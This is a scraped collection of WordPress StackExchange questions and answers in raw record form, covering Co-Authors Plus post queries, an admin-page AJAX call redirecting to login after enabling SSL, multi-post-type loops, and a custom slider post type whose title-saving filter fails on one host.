"author_profile": "https://wordpress.stackexchange.com/users/113288",
"pm_score": 2,
"selected": false,
"text": "<p>Nevermind, I fixed it by changing query by author_name instead of ID\nWorks!</p>\n\n<pre><code>$the_query = new WP_Query(\narray( \n 'posts_per_page' => -1,\n 'author_name' => get_the_author_meta('nickname'),\n)\n);\n</code></pre>\n\n<p>We can close this question!</p>\n"
},
{
"answer_id": 324750,
"author": "Alex DS",
"author_id": 70848,
"author_profile": "https://wordpress.stackexchange.com/users/70848",
"pm_score": 0,
"selected": false,
"text": "<p>but if you want to use the list of co-authors to query posts in a plugin, you must use </p>\n\n<p><strong>get_the_author_meta( 'user_nicename', get_current_user_id() );</strong></p>\n\n<pre><code>$locations = new WP_Query(array(\n 'post_type' => 'location',\n 'posts_per_page' => -1,\n 'author_name' => get_the_author_meta('user_nicename', get_current_user_id()) //FILTER POSTS BY CO-AUTHORS (Co-Author-Plus Plugin)\n));\n</code></pre>\n"
},
{
"answer_id": 325620,
"author": "Apurba Podder",
"author_id": 113734,
"author_profile": "https://wordpress.stackexchange.com/users/113734",
"pm_score": 0,
"selected": false,
"text": "<pre><code>/**\n * @param $id\n * @param int $paged (if $paged = null returl all posts)\n * @return array|bool\n */\n\nfunction get_coauthor_posts_by_author_id($id, $paged = 1)\n{\n global $wpdb;\n\n $slug = 'cap-' . strtolower(get_userdata($id)->user_nicename);\n\n\n $max_post = get_option('posts_per_page');\n $post_lower_limit = 0;\n\n\n if ($paged > 1) {\n $post_upper_limit = $max_post * $paged;\n $post_lower_limit = $post_upper_limit - $max_post;\n\n }\n\n\n $term_id = $wpdb->get_results($wpdb->prepare(\"SELECT term_id FROM $wpdb->terms WHERE slug = %s \", $slug))[0]->term_id;\n\n\n $sql = \"SELECT SQL_CALC_FOUND_ROWS $wpdb->posts.id FROM $wpdb->posts LEFT JOIN $wpdb->term_relationships AS tr1 ON ($wpdb->posts.id = tr1.object_id) LEFT JOIN $wpdb->term_taxonomy ON ( tr1.term_taxonomy_id = $wpdb->term_taxonomy.term_taxonomy_id ) WHERE 1=1 AND (($wpdb->posts.post_author = %d OR ($wpdb->term_taxonomy.taxonomy = 'author' AND $wpdb->term_taxonomy.term_id = %d))) AND $wpdb->posts.post_type = 'post' AND ($wpdb->posts.post_status = 'publish' OR $wpdb->posts.post_status = 'private') GROUP BY $wpdb->posts.id ORDER BY $wpdb->posts.post_date DESC\";\n $sql_limit = \" LIMIT %d, %d\";\n if ($paged !== null) {\n $sql = $sql . $sql_limit;\n }\n\n\n if ($term_id !== null) {\n $result = $wpdb->get_results($wpdb->prepare($sql, $id, $term_id, $post_lower_limit, $max_post), ARRAY_A);\n return array_column($result, 'id');\n }\n\n return false;\n\n}\n</code></pre>\n"
}
]
| 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256393",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113288/"
]
| I am using the *Co-authors plus* plugin on our web page because sometimes we have more authors of an article. It is working really fine until today. I used classic archive.php to list all posts of the author based on global settings (same post excerpt, thumbs, posts per page 6 – defined in global WordPress & theme PHPs). My authors requested to create theme profile pages with the list of all posts based on `author.php`. So I was forced to overwrite global settings (posts per page 6) with new `WP_Query` and here comes the problem with *Co-authors* plugin.
When I use the following code below the posts are listed only under author who is assigned as the main author but not listed under co-authors.
```
<?php
$the_query = new WP_Query(
array(
'posts_per_page' => -1,
'author' => get_the_author_meta('ID'),
)
);
if ( $the_query->have_posts() ) :
while ( $the_query->have_posts() ) : $the_query->the_post();
the_time('d.m.Y ');
the_permalink();
the_title();
endwhile;
wp_reset_postdata();
else :
_e( 'Sorry, no posts matched your criteria.' );
```
I tried to do it based on `taxonomy`, `author_name`, `coauthor_meta`, etc, nothing helps.
You can see example [here](http://vlcibouda.net/ruzne/snehuleni-ze-serie-komiksu-o-snehu) (sorry it's not in English): This article is not listed under both authors. | Nevermind, I fixed it by changing query by author\_name instead of ID
Works!
```
$the_query = new WP_Query(
array(
'posts_per_page' => -1,
'author_name' => get_the_author_meta('nickname'),
)
);
```
We can close this question! |
256,410 | <p>I have a page on my wordpress site which adds file content to a div using <code>jquery.get</code>. The file being targeted is a wp-admin file. The problem is, since I added SSL certificate this file no longer loads. When I check the file which is actually loaded it appears to be the log in page.</p>
<p>Jquery Code:</p>
<pre><code>jQuery.get('/wp-admin/admin.php/?page=booking.multiuser.5.3/wpdev-booking.phpwpdev-booking-resources&tab=availability&wpdev_edit_avalaibility=<?php echo key($_REQUEST['avail']); ?>/', function(data, status) {
alert("Data: " + data + "\nStatus: " + status);
}
</code></pre>
<p>In the alert box I get <code>status:success</code> but the <code>data:</code> that is loaded is the standard wordpress login page.</p>
<p>I have checked other answers on stackoverflow which suggest trailing slashes are the issue but this has not solved the problem. </p>
<p>Is the site switching protocols to http when calling the jquery? I have read elsewhere that this can be an issue and wordpress will log out a user if an http url is called from https file. How would I check to see if this is happening? </p>
<p>UPDATE: If I browse to the file directly I am also redirected to the log in page, even if I am already logged in.</p>
| [
{
"answer_id": 256412,
"author": "Jan Hanzman Kohoutek",
"author_id": 113288,
"author_profile": "https://wordpress.stackexchange.com/users/113288",
"pm_score": 2,
"selected": false,
"text": "<p>Nevermind, I fixed it by changing query by author_name instead of ID\nWorks!</p>\n\n<pre><code>$the_query = new WP_Query(\narray( \n 'posts_per_page' => -1,\n 'author_name' => get_the_author_meta('nickname'),\n)\n);\n</code></pre>\n\n<p>We can close this question!</p>\n"
},
{
"answer_id": 324750,
"author": "Alex DS",
"author_id": 70848,
"author_profile": "https://wordpress.stackexchange.com/users/70848",
"pm_score": 0,
"selected": false,
"text": "<p>but if you want to use the list of co-authors to query posts in a plugin, you must use </p>\n\n<p><strong>get_the_author_meta( 'user_nicename', get_current_user_id() );</strong></p>\n\n<pre><code>$locations = new WP_Query(array(\n 'post_type' => 'location',\n 'posts_per_page' => -1,\n 'author_name' => get_the_author_meta('user_nicename', get_current_user_id()) //FILTER POSTS BY CO-AUTHORS (Co-Author-Plus Plugin)\n));\n</code></pre>\n"
},
{
"answer_id": 325620,
"author": "Apurba Podder",
"author_id": 113734,
"author_profile": "https://wordpress.stackexchange.com/users/113734",
"pm_score": 0,
"selected": false,
"text": "<pre><code>/**\n * @param $id\n * @param int $paged (if $paged = null returl all posts)\n * @return array|bool\n */\n\nfunction get_coauthor_posts_by_author_id($id, $paged = 1)\n{\n global $wpdb;\n\n $slug = 'cap-' . strtolower(get_userdata($id)->user_nicename);\n\n\n $max_post = get_option('posts_per_page');\n $post_lower_limit = 0;\n\n\n if ($paged > 1) {\n $post_upper_limit = $max_post * $paged;\n $post_lower_limit = $post_upper_limit - $max_post;\n\n }\n\n\n $term_id = $wpdb->get_results($wpdb->prepare(\"SELECT term_id FROM $wpdb->terms WHERE slug = %s \", $slug))[0]->term_id;\n\n\n $sql = \"SELECT SQL_CALC_FOUND_ROWS $wpdb->posts.id FROM $wpdb->posts LEFT JOIN $wpdb->term_relationships AS tr1 ON ($wpdb->posts.id = tr1.object_id) LEFT JOIN $wpdb->term_taxonomy ON ( tr1.term_taxonomy_id = $wpdb->term_taxonomy.term_taxonomy_id ) WHERE 1=1 AND (($wpdb->posts.post_author = %d OR ($wpdb->term_taxonomy.taxonomy = 'author' AND $wpdb->term_taxonomy.term_id = %d))) AND $wpdb->posts.post_type = 'post' AND ($wpdb->posts.post_status = 'publish' OR $wpdb->posts.post_status = 'private') GROUP BY $wpdb->posts.id ORDER BY $wpdb->posts.post_date DESC\";\n $sql_limit = \" LIMIT %d, %d\";\n if ($paged !== null) {\n $sql = $sql . $sql_limit;\n }\n\n\n if ($term_id !== null) {\n $result = $wpdb->get_results($wpdb->prepare($sql, $id, $term_id, $post_lower_limit, $max_post), ARRAY_A);\n return array_column($result, 'id');\n }\n\n return false;\n\n}\n</code></pre>\n"
}
]
| 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256410",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/76021/"
]
| I have a page on my wordpress site which adds file content to a div using `jquery.get`. The file being targeted is a wp-admin file. The problem is, since I added SSL certificate this file no longer loads. When I check the file which is actually loaded it appears to be the log in page.
Jquery Code:
```
jQuery.get('/wp-admin/admin.php/?page=booking.multiuser.5.3/wpdev-booking.phpwpdev-booking-resources&tab=availability&wpdev_edit_avalaibility=<?php echo key($_REQUEST['avail']); ?>/', function(data, status) {
alert("Data: " + data + "\nStatus: " + status);
}
```
In the alert box I get `status:success` but the `data:` that is loaded is the standard wordpress login page.
I have checked other answers on stackoverflow which suggest trailing slashes are the issue but this has not solved the problem.
Is the site switching protocols to http when calling the jquery? I have read elsewhere that this can be an issue and wordpress will log out a user if an http url is called from https file. How would I check to see if this is happening?
UPDATE: If I browse to the file directly I am also redirected to the log in page, even if I am already logged in. | Nevermind, I fixed it by changing query by author\_name instead of ID
Works!
```
$the_query = new WP_Query(
array(
'posts_per_page' => -1,
'author_name' => get_the_author_meta('nickname'),
)
);
```
We can close this question! |
256,428 | <p>I have four post types</p>
<ol>
<li>Products</li>
<li>Banners</li>
<li>Portfolio</li>
<li>Testimonials</li>
</ol>
<p>And they all display their posts on the same home page template (index.php).</p>
<p>Currently using below query to get posts from different post types.</p>
<pre><code><?php
query_posts(
array(
'post_type' => 'work_projects',
'work_type' => 'website_development',
'posts_per_page' => 100
)
);
if ( have_posts() ) : while ( have_posts() ) : the_post();
the_post_thumbnail($size);
the_title();
the_content();
endwhile; endif;
</code></pre>
<p>But my problem is I have to put multiple <code>query_post</code> loops on the same page. I googled some solutions and found answers as well here on Stack Overflow also. But not able to figure it out how to use them with <code>the_title()</code>, <code>the_content()</code> and <code>the_post_thumbnail()</code>.</p>
| [
{
"answer_id": 256433,
"author": "Industrial Themes",
"author_id": 274,
"author_profile": "https://wordpress.stackexchange.com/users/274",
"pm_score": 1,
"selected": false,
"text": "<p>Best practice would be to use four different custom queries and loop through each one separately using <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query\" rel=\"nofollow noreferrer\">wp_query</a></p>\n\n<p>So here's an example:</p>\n\n<pre><code><?php\n$custom_query = new WP_Query( \n array(\n 'post_type' => 'work_projects', \n 'work_type' => 'website_development', \n 'posts_per_page' => 100\n ) \n);\nif ( $custom_query->have_posts() ) : while ( $custom_query->have_posts() ) : $custom_query->the_post();\n\n the_post_thumbnail($size);\n the_title();\n the_content();\n\nendwhile; endif; wp_reset_query();\n?>\n</code></pre>\n\n<p>And then you would repeat the process for each post type, replacing 'work_projects' with the name of the next post type. </p>\n\n<p>I'm not sure what 'work_type' is in this scenario, but I just put it back into the query since you already had it there. </p>\n"
},
{
"answer_id": 256448,
"author": "shanebp",
"author_id": 16575,
"author_profile": "https://wordpress.stackexchange.com/users/16575",
"pm_score": 2,
"selected": false,
"text": "<p><code>post_type</code> accepts an array. \nHave you tried using <code>WP_Query</code> with an array?</p>\n\n<pre><code>$args = array( \n 'post_type' => array( 'product', 'banner', 'portfolio', 'testimonial'),\n 'post_status' => 'publish',\n 'posts_per_page' => 100\n );\n $the_query = new WP_Query( $args );\n</code></pre>\n"
}
]
| 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256428",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/38229/"
]
| I have four post types
1. Products
2. Banners
3. Portfolio
4. Testimonials
And they all display their posts on the same home page template (index.php).
Currently using below query to get posts from different post types.
```
<?php
query_posts(
array(
'post_type' => 'work_projects',
'work_type' => 'website_development',
'posts_per_page' => 100
)
);
if ( have_posts() ) : while ( have_posts() ) : the_post();
the_post_thumbnail($size);
the_title();
the_content();
endwhile; endif;
```
But my problem is I have to put multiple `query_post` loops on the same page. I googled some solutions and found answers as well here on Stack Overflow also. But not able to figure it out how to use them with `the_title()`, `the_content()` and `the_post_thumbnail()`. | `post_type` accepts an array.
Have you tried using `WP_Query` with an array?
```
$args = array(
'post_type' => array( 'product', 'banner', 'portfolio', 'testimonial'),
'post_status' => 'publish',
'posts_per_page' => 100
);
$the_query = new WP_Query( $args );
``` |
256,429 | <p>I am creating a custom post type for a front-end slider. It takes the value entered into a custom field and uses it as post-title. It works perfectly on my localhost and on my personal host. However, when I install it on my client's host, I am given the following error:</p>
<pre><code>Notice: Undefined index: wys_slider_title in /data02/client_id/public_html/wp-content/themes/waiyin2015/inc/cpt/slides.php on line 302
WordPress database error: [Column 'post_title' cannot be null]
</code></pre>
<p>Line 302 refers to the function where the slide title is posted. The full function is as follows:</p>
<pre><code>function wys_slide_title( $data , $postarr ) {
if( $data['post_type'] == 'slider' ) {
$slide_title = $_POST['wys_slider_title']; // <<<<<< This is line 302
$new_title = $slide_title;
// Set slug date
$post_date = date('Ymd-His');
// $post_slug = sanitize_title_with_dashes($post_date, '', $context = 'save');
$post_slugsan = sanitize_title($post_date);
$data['post_title'] = $new_title;
$data['post_name'] = $post_slugsan;
}
return $data;
}
add_filter( 'wp_insert_post_data' , 'wys_slide_title' , '99', 2 );
</code></pre>
<p><code>wys_slider_title</code> is a field inside of a meta box, which contains the slide's caption, image, and a link field. Again, there are no errors when I use this on my localhost or my hosting provider, but my client's hosting provider is different and is throwing this error.<br>
Due to this, I'm not able to post any content and I'm being told my content will be <code>"Submitted for review"</code>, even though I'm the administrator for the site.</p>
<p>Can anyone help with what might have gone wrong?</p>
<p>EDIT: It has been requested that I post the function where <code>wys_slider_title</code> is declared. This is the full script used to run the post type:</p>
<pre><code>// Stories custom post type
add_action('init', 'wys_sliders');
function wys_sliders() {
$labels = array(
'name' => _x('Front Slider', 'post type general name'),
'singular_name' => _x('Front Slider', 'post type singular name'),
'add_new' => _x('Add New', 'post type item'),
'add_new_item' => __('Add New Slide'),
'edit_item' => __('Edit Slide'),
'new_item' => __('New Slide'),
'view_item' => __('View Slide'),
'search_items' => __('Search Slides'),
'not_found' => __('Nothing found'),
'not_found_in_trash' => __('Nothing found in Trash'),
'parent_item_colon' => ''
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'menu_icon' => 'dashicons-slides',
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => 24,
'supports' => false,
'can_export' => true,
'show_in_menu' => true,
'has_archive' => false,
);
register_post_type( 'slider' , $args );
flush_rewrite_rules();
}
add_action("admin_init", "wys_slide_admin_init");
function wys_slide_admin_init(){
add_meta_box("mb_wys_slides", "Slides", "wys_slides_display", "slider", "normal", "high");
}
add_action( 'admin_enqueue_scripts', 'wys_slides_scripts' );
function wys_slides_scripts(){
global $post_type;
if ( $post_type == "slider" ){
wp_enqueue_style('slider-css-styles', get_template_directory_uri().'/inc/cpt/slides.css');
}
}
function wys_slides_display(){
$source = get_post_meta( get_the_ID(), 'selected_source', true );
$image = get_post_meta( get_the_ID(), 'wys_slider_image', true );
$video = get_post_meta( get_the_ID(), 'video_preview', true );
$title = get_post_meta( get_the_ID(), 'wys_slider_title', true );
$caption = get_post_meta( get_the_ID(), 'wys_slider_caption', true );
$link = get_post_meta( get_the_ID(), 'wys_slider_link', true );
$target = get_post_meta( get_the_ID(), 'wys_link_target', true );
?>
<script>
function resetItAll(){
// Clear fields
$('#image-url').val('');
$('#video-url').val('');
$('#wys-slider-image').val('');
$('#video-preview').val('');
// Clear Uploaded Image
$('#slide-upload').removeClass('hasimage');
$('#slide-upload').css('background-image', 'none');
// Clear Image by URL
$('#slide-url').removeClass('hasimage');
$('#slide-url').css('background-image', 'none');
$('#slide-url .replace-image').hide();
$('#slide-url .form-wrap').show();
// Clear Video
$('#slide-video').removeClass('hasimage');
$('#slide-video').css('background-image', 'none');
$('slide-video .replace-video').hide();
$('#slide-video .form-wrap').show();
}
(function($){
$.fn.extend({
limiter: function(elem){
$(this).on('keyup focus', function(){
setCount(this, elem);
});
function setCount(src, elem){
var chars = src.value.length;
var limit = $(src).attr('maxlength');
if ( chars > limit ){
src.value = src.value.substr(0, limit);
chars = limit;
}
var charsRemaining = limit - chars;
if ( charsRemaining <= (limit*.2) ) { var charsLeft = '<span class="charlimit-warning">'+charsRemaining+'</span>'; } else { var charsLeft = charsRemaining; }
$(elem).html( charsLeft + '/' + limit );
}
setCount($(this)[0], elem);
}
});
})(jQuery);
jQuery(document).ready(function($){
$('.image-src a').click(function(e){
e.preventDefault();
var tab = $(this).data('tab');
$('.image-src a').removeClass('selected');
$('.tab-content').removeClass('show-tab');
$(this).addClass('selected');
$("#slide-"+tab).addClass('show-tab');
$('#selected-source').val(tab);
});
$('#upload-image').click(function(e) {
e.preventDefault();
var custom_uploader = wp.media({
title: 'Select Slider Image',
button: {
text: 'Select Image'
},
multiple: false // Set this to true to allow multiple files to be selected
})
.on('select', function() {
var attachment = custom_uploader.state().get('selection').first().toJSON();
resetItAll();
$('#slide-upload').addClass('hasimage');
$('#slide-upload').css('background-image', 'url('+attachment.sizes.large.url+')');
$('#wys-slider-image').val(attachment.id);
})
.open();
});
$('#fetch-image').click(function(e){
e.preventDefault();
var imagesrc = $('#image-url').val();
$("<img>", {
src: imagesrc,
error: function(){
$('.error-msg .error-text').html('The URL you provided is not a valid image.');
$('.error-msg').show(0, function(){
$('#fetch-image').click(function(){
$('.error-msg').fadeOut(300);
});
$('.error-msg').delay(7000).fadeOut(300);
});
},
load: function(){
resetItAll();
$('#slide-url').addClass('hasimage');
$('#slide-url').css('background-image', 'url('+imagesrc+')');
$('#wys-slider-image').val(imagesrc);
$('#slide-url .form-wrap').hide();
$('#slide-url .replace-image').show();
}
});
});
$('#replace-image').click(function(e){
e.preventDefault();
$('#image-url').val('').focus();
$('#slide-url .replace-image').hide();
$('#slide-url .form-wrap').show();
});
$('#fetch-video').click(function(e){
e.preventDefault();
var videosrc = $('#video-url').val();
$.ajax({
method: "POST",
url: '<?php echo get_template_directory_uri(); ?>/inc/cpt/inc.videoimg.php',
data: { src: videosrc },
success: function(data){
if ( data == 'invalid.src' ) {
$('.error-msg .error-text').html('Please use a video from YouTube or Vimeo.');
$('.error-msg').show(0, function(){
$('#fetch-video').click(function(){
$('.error-msg').fadeOut(300);
});
$('.error-msg').delay(7000).fadeOut(300);
});
} else {
resetItAll();
$('#slide-video').addClass('hasimage');
$('#slide-video').css('background-image', 'url('+data+')');
$('#wys-slider-image').val(videosrc);
$('#video-preview').val(data);
$('#slide-video .form-wrap').hide();
$('#slide-video .replace-video').show();
}
},
error: function( xhr, status, error){
if (xhr.status > 0) console.log('got error: '+status); // Status 0 - when load is interrupted
}
});
});
$('#replace-video').click(function(e){
e.preventDefault();
$('#video-url').val('').focus();
$('slide-video .replace-video').hide();
$('#slide-video .form-wrap').show();
});
$('#link-target').click(function(e){
e.preventDefault();
$(this).toggleClass('selected');
if ( $(this).hasClass('selected') ) {
$('#wys-link-target').val('1');
} else {
$('#wys-link-target').val('0');
}
});
$('#slide-title').limiter('#slide-title-limit');
$('#slide-caption').limiter('#slide-caption-limit');
});
</script>
<div class="wys-slides">
<div class="slide" id="slide">
<div class="body">
<div class="slide-image-wrap">
<div class="error-msg" style="display: none;">
<span class="dashicons dashicons-warning"></span>
<span class="error-text">This is an error message.</span>
</div>
<div id="slide-upload" class="uploaded image tab-content <?php if ( $source == 'upload' && $image ) { $imgid = wp_get_attachment_image_src( $image, 'large' ); echo 'hasimage show-tab" style="background-image: url('.$imgid[0].');'; } if ( !$source ) { echo 'show-tab'; } ?>">
<a href="#upload" class="upload" id="upload-image"><span class="icon dashicons dashicons-upload"></span>
Upload Image</a>
</div>
<div id="slide-url" class="from-url image tab-content <?php if ( $source == 'url' && $image ) { echo 'hasimage show-tab" style="background-image: url('.$image.');'; } ?>">
<div class="form-wrap" <?php if ( $source == 'url' && $image ) { echo 'style="display: none;"'; } ?>>
<label>Image URL</label>
<input type="url" class="image-url" id="image-url" value="<?php if ( $source == 'url' && $image ) { echo $image; } ?>" />
<input type="button" name="fetch-image" id="fetch-image" value="Get Image" />
</div>
<div class="replace-image hasimage" <?php if ( $source == 'url' && !$image ) { echo 'style="display: none;"'; } ?>>
<a href="#replace-image" id="replace-image" class="upload"><span class="icon dashicons dashicons-controls-repeat"></span>
Replace Image</a>
</div>
</div>
<div id="slide-video" class="video image tab-content <?php if ( $source == 'video' && $image ) { echo 'hasimage show-tab" style="background-image: url('.$video.');'; } ?>">
<div class="form-wrap" <?php if ( $source == 'video' && $image ) { echo 'style="display: none;"'; } ?>>
<label>Video URL <span>Youtube or Vimeo only</span></label>
<input type="url" class="video-url" id="video-url" value="<?php if ( $source == 'video' && $image ) { echo $video; } ?>" />
<input type="button" name="fetch-video" id="fetch-video" value="Get Video" />
</div>
<div class="replace-video hasimage" <?php if ( $source == 'video' && !$image ) { echo 'style="display: none;"'; } ?>>
<a href="#replace-video" id="replace-video" class="upload"><span class="icon dashicons dashicons-controls-repeat"></span>
Replace Video</a>
</div>
</div>
<div class="image-src">
<a href="#upload-image" class="first <?php if ( $source == "upload" || !$source ) { echo 'selected'; } ?>" data-tab="upload"><span class="dashicons dashicons-upload"></span>
Upload</a>
<a href="#from-url" class="last <?php if ( $source == "url" ) { echo 'selected'; } ?>" data-tab="url"><span class="dashicons dashicons-admin-links"></span>
From URL</a>
</div>
</div>
<div class="slide-display-data">
<div class="row slide-title">
<div class="field">
<label>
Slide Title
<span class="notes" id="slide-title-limit"></span>
</label>
<input type="text" class="slide-title" name="wys_slider_title" id="slide-title" maxlength="50" placeholder="Enter Title" value="<?php echo $title; ?>" />
</div>
</div>
<div class="row slide-caption">
<div class="field">
<label>
Slide Caption
<span class="notes" id="slide-caption-limit"></span>
</label>
<textarea class="slide-caption" name="wys_slider_caption" maxlength="140" id="slide-caption"><?php echo $caption; ?></textarea>
</div>
</div>
<div class="row slide-link">
<div class="field">
<label>
Slide Link
<span class="notes">eg. http://www.google.com</span>
</label>
<input type="text" class="slide-link" name="wys_slider_link" value="<?php echo $link; ?>" />
</div>
<a href="#new-tab" id="link-target" class="link-target <?php if ( $target == "1" ) { echo 'selected'; } else { } ?>" title="Open link in new tab"><span class="icon dashicons dashicons-external"></span></a>
</div>
<input type="hidden" class="wys-link-target" id="wys-link-target" name="wys_link_target" value="<?php if ( !$target ) { echo '0'; } else { echo $target; } ?>" />
<input type="hidden" id="selected-source" name="selected_source" value="<?php if ( !$source ) { echo 'upload'; } else { echo $source; } ?>" />
<input type="hidden" id="wys-slider-image" name="wys_slider_image" value="<?php echo $image; ?>" />
<input type="hidden" id="video-preview" name="video_preview" value="<?php echo $video; ?>" />
</div>
<div class="clear"></div>
</div>
</div>
</div>
<?php
}
function wys_slide_title( $data , $postarr ) {
if( $data['post_type'] == 'slider' ) {
$slide_title = $_POST['wys_slider_title'];
$new_title = $slide_title;
// Set slug date
$post_date = date('Ymd-His');
// $post_slug = sanitize_title_with_dashes($post_date, '', $context = 'save');
$post_slugsan = sanitize_title($post_date);
$data['post_title'] = $new_title;
$data['post_name'] = $post_slugsan;
}
return $data;
}
add_filter( 'wp_insert_post_data' , 'wys_slide_title' , '99', 2 );
add_action('save_post', 'wys_slides_save_details');
function wys_slides_save_details(){
global $post;
update_post_meta($post->ID, "video_preview", $_POST["video_preview"]);
update_post_meta($post->ID, "wys_slider_image", $_POST["wys_slider_image"]);
update_post_meta($post->ID, "selected_source", $_POST["selected_source"]);
update_post_meta($post->ID, "wys_link_target", $_POST["wys_link_target"]);
update_post_meta($post->ID, "wys_slider_link", $_POST["wys_slider_link"]);
update_post_meta($post->ID, "wys_slider_caption", strip_tags($_POST["wys_slider_caption"]));
update_post_meta($post->ID, "wys_slider_title", strip_tags($_POST["wys_slider_title"]));
}
</code></pre>
| [
{
"answer_id": 256441,
"author": "Laxmana",
"author_id": 40948,
"author_profile": "https://wordpress.stackexchange.com/users/40948",
"pm_score": 0,
"selected": false,
"text": "<p>I would remove the <code>wys_slide_title</code> filter and move the logic inside <code>save_post</code> action. Haven't test it but is should work.</p>\n\n<pre><code>add_action('save_post', 'wys_slides_save_details');\n\nfunction wys_slides_save_details($post_id){\n\n $post = get_post($post_id);\n\n if( $post->post_type == 'slider' ) {\n\n update_post_meta($post->ID, \"video_preview\", $_POST[\"video_preview\"]);\n update_post_meta($post->ID, \"wys_slider_image\", $_POST[\"wys_slider_image\"]);\n update_post_meta($post->ID, \"selected_source\", $_POST[\"selected_source\"]);\n update_post_meta($post->ID, \"wys_link_target\", $_POST[\"wys_link_target\"]);\n update_post_meta($post->ID, \"wys_slider_link\", $_POST[\"wys_slider_link\"]);\n update_post_meta($post->ID, \"wys_slider_caption\", strip_tags($_POST[\"wys_slider_caption\"]));\n update_post_meta($post->ID, \"wys_slider_title\", strip_tags($_POST[\"wys_slider_title\"]));\n\n $slide_title = sanitize_text_field($_POST['wys_slider_title']);\n $new_title = $slide_title;\n // Set slug date\n $post_date = date('Ymd-His');\n // $post_slug = sanitize_title_with_dashes($post_date, '', $context = 'save');\n $post_slugsan = sanitize_title($post_date); \n\n /* To avoid infinite loops */\n\n remove_action( 'save_post', 'wys_slides_save_details' );\n\n wp_update_post( array( 'post_title' => $new_title, 'post_name' => $post_slugsan ) );\n\n add_action( 'save_post', 'wys_slides_save_details' );\n\n }\n\n}\n</code></pre>\n"
},
{
"answer_id": 256455,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<p>I would suggest the following improvements for better code readability and to make it easier to maintain later.</p>\n\n<ol>\n<li><p>Assuming you've removed <strong>title</strong> from your custom post type using the following function :</p>\n\n<pre><code>remove_post_type_support( 'slider', 'title' )\n</code></pre>\n\n<p>Now if you use <code>name=\"post_title\"</code> instead of <code>name=\"wys_slider_title\"</code><br>\nWordPress will still use it and update the post title accordingly. Hence you don't have to worry about the title and you can focus on your custom fields. This results in a much better code and solves your problem of duplicating the title and then saving it. <br>*This helps you avoid using <code>wp_insert_post_data</code> additional filter. <br>*And since you're not manually updating the title using <code>wp_update_post</code> function, you don't have to worry about the <code>save_post</code> infinite loop.</p></li>\n<li><p>Before you save any data, you want to make sure there's nothing malicious in there. Fortunately, WordPress provides a bunch of functions for <a href=\"http://codex.wordpress.org/Data_Validation\" rel=\"nofollow noreferrer\">Data Validation</a><br></p>\n\n<pre><code>// Use:\nupdate_post_meta( $post_id, 'my_meta_box_text', wp_kses( $_POST['my_meta_box_text'], $allowed ) );\n// Instead of:\nupdate_post_meta( $post_id, 'my_meta_box_text', $_POST['my_meta_box_text'] );\n</code></pre></li>\n<li><p>Use <code>save_post_{$post_type}</code> instead of plain <code>save_post</code>, This helps you avoid unnecesary <code>IF</code> statements <br>\ne.g. In your case,<br>\n<code>add_action( 'save_post_slider', 'wys_slides_save_details' );</code><br></p>\n\n<p>you won't need to wrap your logic around an <code>IF</code> statement<br></p>\n\n<pre><code>if( $post_type == 'slider' ) {...CODE...}\n</code></pre>\n\n<p>Since <code>save_post_slider</code> will only run for <code>Slider</code> post type.</p></li>\n</ol>\n"
},
{
"answer_id": 256480,
"author": "shishir mishra",
"author_id": 111219,
"author_profile": "https://wordpress.stackexchange.com/users/111219",
"pm_score": -1,
"selected": false,
"text": "<p>You should use save_post_{post_type} instead of save_post . Hooking to this action you wouldn't have to check on the post type (ie: if ( $slug != $_POST['post_type'] )).</p>\n\n<p>Read below mentioned article for same...</p>\n\n<p><a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/save_post\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Plugin_API/Action_Reference/save_post</a></p>\n"
}
]
| 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256429",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36204/"
]
| I am creating a custom post type for a front-end slider. It takes the value entered into a custom field and uses it as post-title. It works perfectly on my localhost and on my personal host. However, when I install it on my client's host, I am given the following error:
```
Notice: Undefined index: wys_slider_title in /data02/client_id/public_html/wp-content/themes/waiyin2015/inc/cpt/slides.php on line 302
WordPress database error: [Column 'post_title' cannot be null]
```
Line 302 refers to the function where the slide title is posted. The full function is as follows:
```
function wys_slide_title( $data , $postarr ) {
if( $data['post_type'] == 'slider' ) {
$slide_title = $_POST['wys_slider_title']; // <<<<<< This is line 302
$new_title = $slide_title;
// Set slug date
$post_date = date('Ymd-His');
// $post_slug = sanitize_title_with_dashes($post_date, '', $context = 'save');
$post_slugsan = sanitize_title($post_date);
$data['post_title'] = $new_title;
$data['post_name'] = $post_slugsan;
}
return $data;
}
add_filter( 'wp_insert_post_data' , 'wys_slide_title' , '99', 2 );
```
`wys_slider_title` is a field inside of a meta box, which contains the slide's caption, image, and a link field. Again, there are no errors when I use this on my localhost or my hosting provider, but my client's hosting provider is different and is throwing this error.
Due to this, I'm not able to post any content and I'm being told my content will be `"Submitted for review"`, even though I'm the administrator for the site.
Can anyone help with what might have gone wrong?
EDIT: It has been requested that I post the function where `wys_slider_title` is declared. This is the full script used to run the post type:
```
// Stories custom post type
add_action('init', 'wys_sliders');
function wys_sliders() {
$labels = array(
'name' => _x('Front Slider', 'post type general name'),
'singular_name' => _x('Front Slider', 'post type singular name'),
'add_new' => _x('Add New', 'post type item'),
'add_new_item' => __('Add New Slide'),
'edit_item' => __('Edit Slide'),
'new_item' => __('New Slide'),
'view_item' => __('View Slide'),
'search_items' => __('Search Slides'),
'not_found' => __('Nothing found'),
'not_found_in_trash' => __('Nothing found in Trash'),
'parent_item_colon' => ''
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'menu_icon' => 'dashicons-slides',
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => 24,
'supports' => false,
'can_export' => true,
'show_in_menu' => true,
'has_archive' => false,
);
register_post_type( 'slider' , $args );
flush_rewrite_rules();
}
add_action("admin_init", "wys_slide_admin_init");
function wys_slide_admin_init(){
